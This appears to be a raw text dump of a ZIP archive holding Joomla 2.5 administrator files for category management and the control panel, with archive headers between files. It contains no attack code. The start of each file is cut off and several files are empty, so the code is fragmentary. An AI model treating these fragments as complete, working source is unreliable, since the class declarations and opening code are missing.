$query->join('LEFT', $db->quoteName('#__categories').' AS p ON p.id = '.(int) $oldCat); $query->where('NOT(a.lft >= p.lft AND a.rgt <= p.rgt)'); $rowQuery = $db->getQuery(true); $rowQuery->select('a.id AS value, a.title AS text, a.level, a.parent_id'); $rowQuery->from('#__categories AS a'); $rowQuery->where('a.id = ' . (int) $oldCat); $db->setQuery($rowQuery); $row = $db->loadObject(); } // Filter on the published state if (is_numeric($published)) { $query->where('a.published = ' . (int) $published); } elseif (is_array($published)) { JArrayHelper::toInteger($published); $query->where('a.published IN (' . implode(',', $published) . ')'); } $query->group('a.id, a.title, a.level, a.lft, a.rgt, a.extension, a.parent_id, a.published'); $query->order('a.lft ASC'); // Get the options. $db->setQuery($query); $options = $db->loadObjectList(); // Check for a database error. if ($db->getErrorNum()) { JError::raiseWarning(500, $db->getErrorMsg()); } // Pad the option text with spaces using depth level as a multiplier. for ($i = 0, $n = count($options); $i < $n; $i++) { // Translate ROOT if ($this->element['parent'] == true || $jinput->get('option') == 'com_categories') { if ($options[$i]->level == 0) { $options[$i]->text = JText::_('JGLOBAL_ROOT_PARENT'); } } if ($options[$i]->published == 1) { $options[$i]->text = str_repeat('- ', $options[$i]->level). $options[$i]->text ; } else { $options[$i]->text = str_repeat('- ', $options[$i]->level). '[' .$options[$i]->text . ']'; } } // Get the current user object. $user = JFactory::getUser(); // For new items we want a list of categories you are allowed to create in. if ($oldCat == 0) { foreach ($options as $i => $option) { // To take save or create in a category you need to have create rights for that category // unless the item is already in that category. // Unset the option if the user isn't authorised for it. In this field assets are always categories. if ($user->authorise('core.create', $extension . '.category.' . $option->value) != true ) { unset($options[$i]); } } } // If you have an existing category id things are more complex. else { // If you are only allowed to edit in this category but not edit.state, you should not get any // option to change the category parent for a category or the category for a content item, // but you should be able to save in that category. foreach ($options as $i => $option) { if ($user->authorise('core.edit.state', $extension . '.category.' . $oldCat) != true && !isset($oldParent)) { if ($option->value != $oldCat ) { unset($options[$i]); } } if ($user->authorise('core.edit.state', $extension . '.category.' . $oldCat) != true && (isset($oldParent)) && $option->value != $oldParent) { unset($options[$i]); } // However, if you can edit.state you can also move this to another category for which you have // create permission and you should also still be able to save in the current category. if (($user->authorise('core.create', $extension . '.category.' . $option->value) != true) && ($option->value != $oldCat && !isset($oldParent))) { { unset($options[$i]); } } if (($user->authorise('core.create', $extension . '.category.' . $option->value) != true) && (isset($oldParent)) && $option->value != $oldParent) { { unset($options[$i]); } } } } if (($this->element['parent'] == true || $jinput->get('option') == 'com_categories') && (isset($row) && !isset($options[0])) && isset($this->element['show_root'])) { if ($row->parent_id == '1') { $parent = new stdClass(); $parent->text = JText::_('JGLOBAL_ROOT_PARENT'); array_unshift($options, $parent); } array_unshift($options, JHtml::_('select.option', '0', JText::_('JGLOBAL_ROOT'))); } // Merge any additional options in the XML definition. $options = array_merge(parent::getOptions(), $options); return $options; } } PK@y>\M5uu/components/com_categories/models/categories.phpnuW+Acontext; $extension = $app->getUserStateFromRequest('com_categories.categories.filter.extension', 'extension', 'com_content', 'cmd'); $this->setState('filter.extension', $extension); $parts = explode('.', $extension); // extract the component name $this->setState('filter.component', $parts[0]); // extract the optional section name $this->setState('filter.section', (count($parts) > 1) ? $parts[1] : null); $search = $this->getUserStateFromRequest($context.'.search', 'filter_search'); $this->setState('filter.search', $search); $level = $this->getUserStateFromRequest($context.'.filter.level', 'filter_level', 0, 'int'); $this->setState('filter.level', $level); $access = $this->getUserStateFromRequest($context.'.filter.access', 'filter_access', 0, 'int'); $this->setState('filter.access', $access); $published = $this->getUserStateFromRequest($context.'.filter.published', 'filter_published', ''); $this->setState('filter.published', $published); $language = $this->getUserStateFromRequest($context.'.filter.language', 'filter_language', ''); $this->setState('filter.language', $language); // List state information. parent::populateState('a.lft', 'asc'); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. * * @return string A store id. * @since 1.6 */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':'.$this->getState('filter.search'); $id .= ':'.$this->getState('filter.extension'); $id .= ':'.$this->getState('filter.published'); $id .= ':'.$this->getState('filter.language'); return parent::getStoreId($id); } /** * @return string * @since 1.6 */ function getListQuery() { // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); $user = JFactory::getUser(); // Select the required fields from the table. $query->select( $this->getState( 'list.select', 'a.id, a.title, a.alias, a.note, a.published, a.access' . ', a.checked_out, a.checked_out_time, a.created_user_id' . ', a.path, a.parent_id, a.level, a.lft, a.rgt' . ', a.language' ) ); $query->from('#__categories AS a'); // Join over the language $query->select('l.title AS language_title'); $query->join('LEFT', $db->quoteName('#__languages').' AS l ON l.lang_code = a.language'); // Join over the users for the checked out user. $query->select('uc.name AS editor'); $query->join('LEFT', '#__users AS uc ON uc.id=a.checked_out'); // Join over the asset groups. $query->select('ag.title AS access_level'); $query->join('LEFT', '#__viewlevels AS ag ON ag.id = a.access'); // Join over the users for the author. $query->select('ua.name AS author_name'); $query->join('LEFT', '#__users AS ua ON ua.id = a.created_user_id'); // Filter by extension if ($extension = $this->getState('filter.extension')) { $query->where('a.extension = '.$db->quote($extension)); } // Filter on the level. if ($level = $this->getState('filter.level')) { $query->where('a.level <= '.(int) $level); } // Filter by access level. if ($access = $this->getState('filter.access')) { $query->where('a.access = ' . (int) $access); } // Implement View Level Access if (!$user->authorise('core.admin')) { $groups = implode(',', $user->getAuthorisedViewLevels()); $query->where('a.access IN ('.$groups.')'); } // Filter by published state $published = $this->getState('filter.published'); if (is_numeric($published)) { $query->where('a.published = ' . (int) $published); } elseif ($published === '') { $query->where('(a.published IN (0, 1))'); } // Filter by search in title $search = $this->getState('filter.search'); if (!empty($search)) { if (stripos($search, 'id:') === 0) { $query->where('a.id = '.(int) substr($search, 3)); } elseif (stripos($search, 'author:') === 0) { $search = $db->Quote('%'.$db->escape(substr($search, 7), true).'%'); $query->where('(ua.name LIKE '.$search.' OR ua.username LIKE '.$search.')'); } else { $search = $db->Quote('%'.$db->escape($search, true).'%'); $query->where('(a.title LIKE '.$search.' OR a.alias LIKE '.$search.' OR a.note LIKE '.$search.')'); } } // Filter on the language. if ($language = $this->getState('filter.language')) { $query->where('a.language = '.$db->quote($language)); } // Add the list ordering clause $listOrdering = $this->getState('list.ordering', 'a.lft'); $listDirn = $db->escape($this->getState('list.direction', 'ASC')); if ($listOrdering == 'a.access') { $query->order('a.access '.$listDirn.', a.lft '.$listDirn); } else { $query->order($db->escape($listOrdering).' '.$listDirn); } //echo nl2br(str_replace('#__','jos_',$query)); return $query; } } PK@y>\V+components/com_categories/models/index.htmlnuW+A PK@y>\Wb\\-components/com_categories/models/category.phpnuW+Aid)) { if ($record->published != -2) { return; } $user = JFactory::getUser(); return $user->authorise('core.delete', $record->extension . '.category.' . (int) $record->id); } } /** * Method to test whether a record can have its state changed. * * @param object $record A record object. * * @return boolean True if allowed to change the state of the record. Defaults to the permission set in the component. * * @since 1.6 */ protected function canEditState($record) { $user = JFactory::getUser(); // Check for existing category. if (!empty($record->id)) { return $user->authorise('core.edit.state', $record->extension . '.category.' . (int) $record->id); } // New category, so check against the parent. elseif (!empty($record->parent_id)) { return $user->authorise('core.edit.state', $record->extension . '.category.' . (int) $record->parent_id); } // Default to component settings if neither category nor parent known. else { return $user->authorise('core.edit.state', $record->extension); } } /** * Method to get a table object, load it if necessary. * * @param string $type The table name. Optional. * @param string $prefix The class prefix. Optional. * @param array $config Configuration array for model. Optional. * * @return JTable A JTable object * * @since 1.6 */ public function getTable($type = 'Category', $prefix = 'CategoriesTable', $config = array()) { return JTable::getInstance($type, $prefix, $config); } /** * Auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @return void * * @since 1.6 */ protected function populateState() { $app = JFactory::getApplication('administrator'); $parentId = JRequest::getInt('parent_id'); $this->setState('category.parent_id', $parentId); // Load the User state. $pk = (int) JRequest::getInt('id'); $this->setState($this->getName() . '.id', $pk); $extension = JRequest::getCmd('extension', 'com_content'); $this->setState('category.extension', $extension); $parts = explode('.', $extension); // Extract the component name $this->setState('category.component', $parts[0]); // Extract the optional section name $this->setState('category.section', (count($parts) > 1) ? $parts[1] : null); // Load the parameters. $params = JComponentHelper::getParams('com_categories'); $this->setState('params', $params); } /** * Method to get a category. * * @param integer $pk An optional id of the object to get, otherwise the id from the model state is used. * * @return mixed Category data object on success, false on failure. * * @since 1.6 */ public function getItem($pk = null) { if ($result = parent::getItem($pk)) { // Prime required properties. if (empty($result->id)) { $result->parent_id = $this->getState('category.parent_id'); $result->extension = $this->getState('category.extension'); } // Convert the metadata field to an array. $registry = new JRegistry(); $registry->loadString($result->metadata); $result->metadata = $registry->toArray(); // Convert the created and modified dates to local user time for display in the form. jimport('joomla.utilities.date'); $tz = new DateTimeZone(JFactory::getApplication()->getCfg('offset')); if (intval($result->created_time)) { $date = new JDate($result->created_time); $date->setTimezone($tz); $result->created_time = $date->toSql(true); } else { $result->created_time = null; } if (intval($result->modified_time)) { $date = new JDate($result->modified_time); $date->setTimezone($tz); $result->modified_time = $date->toSql(true); } else { $result->modified_time = null; } } return $result; } /** * Method to get the row form. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * * @return mixed A JForm object on success, false on failure * * @since 1.6 */ public function getForm($data = array(), $loadData = true) { // Initialise variables. $extension = $this->getState('category.extension'); $jinput = JFactory::getApplication()->input; // A workaround to get the extension into the model for save requests. if (empty($extension) && isset($data['extension'])) { $extension = $data['extension']; $parts = explode('.', $extension); $this->setState('category.extension', $extension); $this->setState('category.component', $parts[0]); $this->setState('category.section', @$parts[1]); } // Get the form. $form = $this->loadForm('com_categories.category' . $extension, 'category', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } // Modify the form based on Edit State access controls. if (empty($data['extension'])) { $data['extension'] = $extension; } $user = JFactory::getUser(); if (!$user->authorise('core.edit.state', $extension . '.category.' . $jinput->get('id'))) { // Disable fields for display. $form->setFieldAttribute('ordering', 'disabled', 'true'); $form->setFieldAttribute('published', 'disabled', 'true'); // Disable fields while saving. // The controller has already verified this is a record you can edit. $form->setFieldAttribute('ordering', 'filter', 'unset'); $form->setFieldAttribute('published', 'filter', 'unset'); } return $form; } /** * A protected method to get the where clause for the reorder * This ensures that the row will be moved relative to a row with the same extension * * @param JCategoryTable $table Current table instance * * @return array An array of conditions to add to add to ordering queries. * * @since 1.6 */ protected function getReorderConditions($table) { return 'extension = ' . $this->_db->Quote($table->extension); } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * * @since 1.6 */ protected function loadFormData() { // Check the session for previously entered form data. $data = JFactory::getApplication()->getUserState('com_categories.edit.' . $this->getName() . '.data', array()); if (empty($data)) { $data = $this->getItem(); } return $data; } /** * Method to preprocess the form. * * @param JForm $form A JForm object. * @param mixed $data The data expected for the form. * @param string $groups The name of the plugin group to import. * * @return void * * @see JFormField * @since 1.6 * @throws Exception if there is an error in the form event. */ protected function preprocessForm(JForm $form, $data, $group = 'content') { jimport('joomla.filesystem.path'); // Initialise variables. $lang = JFactory::getLanguage(); $extension = $this->getState('category.extension'); $component = $this->getState('category.component'); $section = $this->getState('category.section'); // Get the component form if it exists jimport('joomla.filesystem.path'); $name = 'category' . ($section ? ('.' . $section) : ''); // Looking first in the component models/forms folder $path = JPath::clean(JPATH_ADMINISTRATOR . "/components/$component/models/forms/$name.xml"); // Old way: looking in the component folder if (!file_exists($path)) { $path = JPath::clean(JPATH_ADMINISTRATOR . "/components/$component/$name.xml"); } if (file_exists($path)) { $lang->load($component, JPATH_BASE, null, false, true); $lang->load($component, JPATH_BASE . '/components/' . $component, null, false, true); if (!$form->loadFile($path, false)) { throw new Exception(JText::_('JERROR_LOADFILE_FAILED')); } } // Try to find the component helper. $eName = str_replace('com_', '', $component); $path = JPath::clean(JPATH_ADMINISTRATOR . "/components/$component/helpers/category.php"); if (file_exists($path)) { require_once $path; $cName = ucfirst($eName) . ucfirst($section) . 'HelperCategory'; if (class_exists($cName) && is_callable(array($cName, 'onPrepareForm'))) { $lang->load($component, JPATH_BASE, null, false, true) || $lang->load($component, JPath::clean(JPATH_ADMINISTRATOR . '/components/' . $component), null, false, true); call_user_func_array(array($cName, 'onPrepareForm'), array(&$form)); // Check for an error. if ($form instanceof Exception) { $this->setError($form->getMessage()); return false; } } } // Set the access control rules field component value. $form->setFieldAttribute('rules', 'component', $component); $form->setFieldAttribute('rules', 'section', $name); // Trigger the default form events. parent::preprocessForm($form, $data, $group); } /** * Method to save the form data. * * @param array $data The form data. * * @return boolean True on success. * * @since 1.6 */ public function save($data) { // Initialise variables; $dispatcher = JDispatcher::getInstance(); $table = $this->getTable(); $pk = (!empty($data['id'])) ? $data['id'] : (int) $this->getState($this->getName() . '.id'); $isNew = true; // Include the content plugins for the on save events. JPluginHelper::importPlugin('content'); // Load the row if saving an existing category. if ($pk > 0) { $table->load($pk); $isNew = false; } // Set the new parent id if parent id not matched OR while New/Save as Copy . if ($table->parent_id != $data['parent_id'] || $data['id'] == 0) { $table->setLocation($data['parent_id'], 'last-child'); } // Alter the title for save as copy if (JRequest::getVar('task') == 'save2copy') { list($title, $alias) = $this->generateNewTitle($data['parent_id'], $data['alias'], $data['title']); $data['title'] = $title; $data['alias'] = $alias; } // Bind the data. if (!$table->bind($data)) { $this->setError($table->getError()); return false; } // Bind the rules. if (isset($data['rules'])) { $rules = new JAccessRules($data['rules']); $table->setRules($rules); } // Check the data. if (!$table->check()) { $this->setError($table->getError()); return false; } // Trigger the onContentBeforeSave event. $result = $dispatcher->trigger($this->event_before_save, array($this->option . '.' . $this->name, &$table, $isNew)); if (in_array(false, $result, true)) { $this->setError($table->getError()); return false; } // Store the data. if (!$table->store()) { $this->setError($table->getError()); return false; } // Trigger the onContentAfterSave event. $dispatcher->trigger($this->event_after_save, array($this->option . '.' . $this->name, &$table, $isNew)); // Rebuild the path for the category: if (!$table->rebuildPath($table->id)) { $this->setError($table->getError()); return false; } // Rebuild the paths of the category's children: if (!$table->rebuild($table->id, $table->lft, $table->level, $table->path)) { $this->setError($table->getError()); return false; } $this->setState($this->getName() . '.id', $table->id); // Clear the cache $this->cleanCache(); return true; } /** * Method to change the published state of one or more records. * * @param array $pks A list of the primary keys to change. * @param integer $value The value of the published state. * * @return boolean True on success. * * @since 2.5 */ function publish(&$pks, $value = 1) { if (parent::publish($pks, $value)) { // Initialise variables. $dispatcher = JDispatcher::getInstance(); $extension = JRequest::getCmd('extension'); // Include the content plugins for the change of category state event. JPluginHelper::importPlugin('content'); // Trigger the onCategoryChangeState event. $dispatcher->trigger('onCategoryChangeState', array($extension, $pks, $value)); return true; } } /** * Method rebuild the entire nested set tree. * * @return boolean False on failure or error, true otherwise. * * @since 1.6 */ public function rebuild() { // Get an instance of the table object. $table = $this->getTable(); if (!$table->rebuild()) { $this->setError($table->getError()); return false; } // Clear the cache $this->cleanCache(); return true; } /** * Method to save the reordered nested set tree. * First we save the new order values in the lft values of the changed ids. * Then we invoke the table rebuild to implement the new ordering. * * @param array $idArray An array of primary key ids. * @param integer $lft_array The lft value * * @return boolean False on failure or error, True otherwise * * @since 1.6 */ public function saveorder($idArray = null, $lft_array = null) { // Get an instance of the table object. $table = $this->getTable(); if (!$table->saveorder($idArray, $lft_array)) { $this->setError($table->getError()); return false; } // Clear the cache $this->cleanCache(); return true; } /** * Batch copy categories to a new category. * * @param integer $value The new category. * @param array $pks An array of row IDs. * @param array $contexts An array of item contexts. * * @return mixed An array of new IDs on success, boolean false on failure. * * @since 1.6 */ protected function batchCopy($value, $pks, $contexts) { // $value comes as {parent_id}.{extension} $parts = explode('.', $value); $parentId = (int) JArrayHelper::getValue($parts, 0, 1); $table = $this->getTable(); $db = $this->getDbo(); $user = JFactory::getUser(); $extension = JFactory::getApplication()->input->get('extension', '', 'word'); $i = 0; // Check that the parent exists if ($parentId) { if (!$table->load($parentId)) { if ($error = $table->getError()) { // Fatal error $this->setError($error); return false; } else { // Non-fatal error $this->setError(JText::_('JGLOBAL_BATCH_MOVE_PARENT_NOT_FOUND')); $parentId = 0; } } // Check that user has create permission for parent category $canCreate = ($parentId == $table->getRootId()) ? $user->authorise('core.create', $extension) : $user->authorise('core.create', $extension . '.category.' . $parentId); if (!$canCreate) { // Error since user cannot create in parent category $this->setError(JText::_('COM_CATEGORIES_BATCH_CANNOT_CREATE')); return false; } } // If the parent is 0, set it to the ID of the root item in the tree if (empty($parentId)) { if (!$parentId = $table->getRootId()) { $this->setError($db->getErrorMsg()); return false; } // Make sure we can create in root elseif (!$user->authorise('core.create', $extension)) { $this->setError(JText::_('COM_CATEGORIES_BATCH_CANNOT_CREATE')); return false; } } // We need to log the parent ID $parents = array(); // Calculate the emergency stop count as a precaution against a runaway loop bug $query = $db->getQuery(true); $query->select('COUNT(id)'); $query->from($db->quoteName('#__categories')); $db->setQuery($query); $count = $db->loadResult(); if ($error = $db->getErrorMsg()) { $this->setError($error); return false; } // Parent exists so we let's proceed while (!empty($pks) && $count > 0) { // Pop the first id off the stack $pk = array_shift($pks); $table->reset(); // Check that the row actually exists if (!$table->load($pk)) { if ($error = $table->getError()) { // Fatal error $this->setError($error); return false; } else { // Not fatal error $this->setError(JText::sprintf('JGLOBAL_BATCH_MOVE_ROW_NOT_FOUND', $pk)); continue; } } // Copy is a bit tricky, because we also need to copy the children $query->clear(); $query->select('id'); $query->from($db->quoteName('#__categories')); $query->where('lft > ' . (int) $table->lft); $query->where('rgt < ' . (int) $table->rgt); $db->setQuery($query); $childIds = $db->loadColumn(); // Add child ID's to the array only if they aren't already there. foreach ($childIds as $childId) { if (!in_array($childId, $pks)) { array_push($pks, $childId); } } // Make a copy of the old ID and Parent ID $oldId = $table->id; $oldParentId = $table->parent_id; // Reset the id because we are making a copy. $table->id = 0; // If we a copying children, the Old ID will turn up in the parents list // otherwise it's a new top level item $table->parent_id = isset($parents[$oldParentId]) ? $parents[$oldParentId] : $parentId; // Set the new location in the tree for the node. $table->setLocation($table->parent_id, 'last-child'); // TODO: Deal with ordering? //$table->ordering = 1; $table->level = null; $table->asset_id = null; $table->lft = null; $table->rgt = null; // Alter the title & alias list($title, $alias) = $this->generateNewTitle($table->parent_id, $table->alias, $table->title); $table->title = $title; $table->alias = $alias; // Store the row. if (!$table->store()) { $this->setError($table->getError()); return false; } // Get the new item ID $newId = $table->get('id'); // Add the new ID to the array $newIds[$i] = $newId; $i++; // Now we log the old 'parent' to the new 'parent' $parents[$oldId] = $table->id; $count--; } // Rebuild the hierarchy. if (!$table->rebuild()) { $this->setError($table->getError()); return false; } // Rebuild the tree path. if (!$table->rebuildPath($table->id)) { $this->setError($table->getError()); return false; } return $newIds; } /** * Batch move categories to a new category. * * @param integer $value The new category ID. * @param array $pks An array of row IDs. * @param array $contexts An array of item contexts. * * @return boolean True on success. * * @since 1.6 */ protected function batchMove($value, $pks, $contexts) { $parentId = (int) $value; $table = $this->getTable(); $db = $this->getDbo(); $query = $db->getQuery(true); $user = JFactory::getUser(); $extension = JFactory::getApplication()->input->get('extension', '', 'word'); // Check that the parent exists. if ($parentId) { if (!$table->load($parentId)) { if ($error = $table->getError()) { // Fatal error $this->setError($error); return false; } else { // Non-fatal error $this->setError(JText::_('JGLOBAL_BATCH_MOVE_PARENT_NOT_FOUND')); $parentId = 0; } } // Check that user has create permission for parent category $canCreate = ($parentId == $table->getRootId()) ? $user->authorise('core.create', $extension) : $user->authorise('core.create', $extension . '.category.' . $parentId); if (!$canCreate) { // Error since user cannot create in parent category $this->setError(JText::_('COM_CATEGORIES_BATCH_CANNOT_CREATE')); return false; } // Check that user has edit permission for every category being moved // Note that the entire batch operation fails if any category lacks edit permission foreach ($pks as $pk) { if (!$user->authorise('core.edit', $extension . '.category.' . $pk)) { // Error since user cannot edit this category $this->setError(JText::_('COM_CATEGORIES_BATCH_CANNOT_EDIT')); return false; } } } // We are going to store all the children and just move the category $children = array(); // Parent exists so we let's proceed foreach ($pks as $pk) { // Check that the row actually exists if (!$table->load($pk)) { if ($error = $table->getError()) { // Fatal error $this->setError($error); return false; } else { // Not fatal error $this->setError(JText::sprintf('JGLOBAL_BATCH_MOVE_ROW_NOT_FOUND', $pk)); continue; } } // Set the new location in the tree for the node. $table->setLocation($parentId, 'last-child'); // Check if we are moving to a different parent if ($parentId != $table->parent_id) { // Add the child node ids to the children array. $query->clear(); $query->select('id'); $query->from($db->quoteName('#__categories')); $query->where($db->quoteName('lft' ) .' BETWEEN ' . (int) $table->lft . ' AND ' . (int) $table->rgt); $db->setQuery($query); $children = array_merge($children, (array) $db->loadColumn()); } // Store the row. if (!$table->store()) { $this->setError($table->getError()); return false; } // Rebuild the tree path. if (!$table->rebuildPath()) { $this->setError($table->getError()); return false; } } // Process the child rows if (!empty($children)) { // Remove any duplicates and sanitize ids. $children = array_unique($children); JArrayHelper::toInteger($children); // Check for a database error. if ($db->getErrorNum()) { $this->setError($db->getErrorMsg()); return false; } } return true; } /** * Custom clean the cache of com_content and content modules * * @since 1.6 */ protected function cleanCache($group = null, $client_id = 0) { $extension = JRequest::getCmd('extension'); switch ($extension) { case 'com_content': parent::cleanCache('com_content'); parent::cleanCache('mod_articles_archive'); parent::cleanCache('mod_articles_categories'); parent::cleanCache('mod_articles_category'); parent::cleanCache('mod_articles_latest'); parent::cleanCache('mod_articles_news'); parent::cleanCache('mod_articles_popular'); break; default: parent::cleanCache($extension); break; } } /** * Method to change the title & alias. * * @param integer $parent_id The id of the parent. * @param string $alias The alias. * @param string $title The title. * * @return array Contains the modified title and alias. * * @since 1.7 */ protected function generateNewTitle($parent_id, $alias, $title) { // Alter the title & alias $table = $this->getTable(); while ($table->load(array('alias' => $alias, 'parent_id' => $parent_id))) { $title = JString::increment($title); $alias = JString::increment($alias, 'dash'); } return array($title, $alias); } } PK@y>\)*components/com_categories/models/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)0components/com_categories/models/forms/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ 3components/com_categories/models/forms/category.xmlnuW+A
      PK@y>\V1components/com_categories/models/forms/index.htmlnuW+A PK@y>\V0components/com_categories/controllers/index.htmlnuW+A PK@y>\)/components/com_categories/controllers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\G2components/com_categories/controllers/category.phpnuW+Aextension)) { $this->extension = JRequest::getCmd('extension', 'com_content'); } } /** * Method to check if you can add a new record. * * @param array $data An array of input data. * * @return boolean * * @since 1.6 */ protected function allowAdd($data = array()) { $user = JFactory::getUser(); return ($user->authorise('core.create', $this->extension) || count($user->getAuthorisedCategories($this->extension, 'core.create'))); } /** * Method to check if you can edit a record. * * @param array $data An array of input data. * @param string $key The name of the key for the primary key. * * @return boolean * * @since 1.6 */ protected function allowEdit($data = array(), $key = 'parent_id') { // Initialise variables. $recordId = (int) isset($data[$key]) ? $data[$key] : 0; $user = JFactory::getUser(); $userId = $user->get('id'); // Check general edit permission first. if ($user->authorise('core.edit', $this->extension)) { return true; } // Check specific edit permission. if ($user->authorise('core.edit', $this->extension . '.category.' . $recordId)) { return true; } // Fallback on edit.own. // First test if the permission is available. if ($user->authorise('core.edit.own', $this->extension . '.category.' . $recordId) || $user->authorise('core.edit.own', $this->extension)) { // Now test the owner is the user. $ownerId = (int) isset($data['created_user_id']) ? $data['created_user_id'] : 0; if (empty($ownerId) && $recordId) { // Need to do a lookup from the model. $record = $this->getModel()->getItem($recordId); if (empty($record)) { return false; } $ownerId = $record->created_user_id; } // If the owner matches 'me' then do the test. if ($ownerId == $userId) { return true; } } return false; } /** * Method to run batch operations. * * @param object $model The model. * * @return boolean True if successful, false otherwise and internal error is set. * * @since 1.6 */ public function batch($model = null) { JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Set the model $model = $this->getModel('Category'); // Preset the redirect $this->setRedirect('index.php?option=com_categories&view=categories&extension=' . $this->extension); return parent::batch($model); } /** * Gets the URL arguments to append to an item redirect. * * @param integer $recordId The primary key id for the item. * @param string $urlVar The name of the URL variable for the id. * * @return string The arguments to append to the redirect URL. * * @since 1.6 */ protected function getRedirectToItemAppend($recordId = null, $urlVar = 'id') { $append = parent::getRedirectToItemAppend($recordId); $append .= '&extension=' . $this->extension; return $append; } /** * Gets the URL arguments to append to a list redirect. * * @return string The arguments to append to the redirect URL. * * @since 1.6 */ protected function getRedirectToListAppend() { $append = parent::getRedirectToListAppend(); $append .= '&extension=' . $this->extension; return $append; } } PK@y>\>,n n 4components/com_categories/controllers/categories.phpnuW+A true)) { $model = parent::getModel($name, $prefix, $config); return $model; } /** * Rebuild the nested set tree. * * @return bool False on failure or error, true on success. * @since 1.6 */ public function rebuild() { JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); $extension = JRequest::getCmd('extension'); $this->setRedirect(JRoute::_('index.php?option=com_categories&view=categories&extension='.$extension, false)); // Initialise variables. $model = $this->getModel(); if ($model->rebuild()) { // Rebuild succeeded. $this->setMessage(JText::_('COM_CATEGORIES_REBUILD_SUCCESS')); return true; } else { // Rebuild failed. $this->setMessage(JText::_('COM_CATEGORIES_REBUILD_FAILURE')); return false; } } /** * Save the manual order inputs from the categories list page. * * @return void * @since 1.6 */ public function saveorder() { JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Get the arrays from the Request $order = JRequest::getVar('order', null, 'post', 'array'); $originalOrder = explode(',', JRequest::getString('original_order_values')); // Make sure something has changed if (!($order === $originalOrder)) { parent::saveorder(); } else { // Nothing to reorder $this->setRedirect(JRoute::_('index.php?option='.$this->option.'&view='.$this->view_list, false)); return true; } } /** Deletes and returns correctly. * * @return void * @since 2.5.12 */ public function delete() { JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Get items to remove from the request. $cid = JRequest::getVar('cid', array(), '', 'array'); $extension = JRequest::getVar('extension', null); if (!is_array($cid) || count($cid) < 1) { JError::raiseWarning(500, JText::_($this->text_prefix . '_NO_ITEM_SELECTED')); } else { // Get the model. $model = $this->getModel(); // Make sure the item ids are integers jimport('joomla.utilities.arrayhelper'); JArrayHelper::toInteger($cid); // Remove the items. if ($model->delete($cid)) { $this->setMessage(JText::plural($this->text_prefix . '_N_ITEMS_DELETED', count($cid))); } else { $this->setMessage($model->getError()); } } $this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&extension=' . $extension, false)); } } PK@y>\)#components/com_categories/.htaccessnuW+A Order allow,deny Deny from all PK@y>\~\ĥ 0components/com_categories/helpers/categories.phpnuW+A 1) { $section = $parts[1]; } // Try to find the component helper. $eName = str_replace('com_', '', $component); $file = JPath::clean(JPATH_ADMINISTRATOR.'/components/'.$component.'/helpers/'.$eName.'.php'); if (file_exists($file)) { require_once $file; $prefix = ucfirst(str_replace('com_', '', $component)); $cName = $prefix.'Helper'; if (class_exists($cName)) { if (is_callable(array($cName, 'addSubmenu'))) { $lang = JFactory::getLanguage(); // loading language file from the administrator/language directory then // loading language file from the administrator/components/*extension*/language directory $lang->load($component, JPATH_BASE, null, false, true) || $lang->load($component, JPath::clean(JPATH_ADMINISTRATOR . '/components/' . $component), null, false, true); call_user_func(array($cName, 'addSubmenu'), 'categories'.(isset($section)?'.'.$section:'')); } } } } /** * Gets a list of the actions that can be performed. * * @param string $extension The extension. * @param int $categoryId The category ID. * * @return JObject * @since 1.6 */ public static function getActions($extension, $categoryId = 0) { $user = JFactory::getUser(); $result = new JObject; $parts = explode('.', $extension); $component = $parts[0]; if (empty($categoryId)) { $assetName = $component; $level = 'component'; } else { $assetName = $component.'.category.'.(int) $categoryId; $level = 'category'; } $actions = JAccess::getActions($component, $level); foreach ($actions as $action) { $result->set($action->name, $user->authorise($action->name, $assetName)); } return $result; } } PK@y>\V,components/com_categories/helpers/index.htmlnuW+A PK@y>\)+components/com_categories/helpers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\rib-components/com_categories/tables/category.phpnuW+A\V+components/com_categories/tables/index.htmlnuW+A PK@y>\)*components/com_categories/tables/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V components/com_cpanel/index.htmlnuW+A PK@y>\V&components/com_cpanel/views/index.htmlnuW+A PK@y>\)%components/com_cpanel/views/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V-components/com_cpanel/views/cpanel/index.htmlnuW+A PK@y>\),components/com_cpanel/views/cpanel/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V2components/com_cpanel/views/cpanel/tmpl/index.htmlnuW+A PK@y>\)1components/com_cpanel/views/cpanel/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\"Wz3components/com_cpanel/views/cpanel/tmpl/default.phpnuW+A '1')); foreach ($this->modules as $module) { $output = JModuleHelper::renderModule($module); $params = new JRegistry; $params->loadString($module->params); if ($params->get('automatic_title', '0')=='0') { echo JHtml::_('sliders.panel', $module->title, 'cpanel-panel-'.$module->name); } elseif (method_exists('mod'.$module->name.'Helper', 'getTitle')) { echo JHtml::_('sliders.panel', call_user_func_array(array('mod'.$module->name.'Helper', 'getTitle'), array($params)), 'cpanel-panel-'.$module->name); } else { echo JHtml::_('sliders.panel', JText::_('MOD_'.$module->name.'_TITLE'), 'cpanel-panel-'.$module->name); } echo $output; } echo JHtml::_('sliders.end'); PK@y>\j?\0components/com_cpanel/views/cpanel/view.html.phpnuW+Amodules = JModuleHelper::getModules('cpanel'); parent::display($tpl); } } PK@y>\)components/com_cpanel/.htaccessnuW+A Order allow,deny Deny from all PK@y>\MT$components/com_cpanel/controller.phpnuW+A\:eaa components/com_cpanel/cpanel.xmlnuW+A com_cpanel Joomla! Project April 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 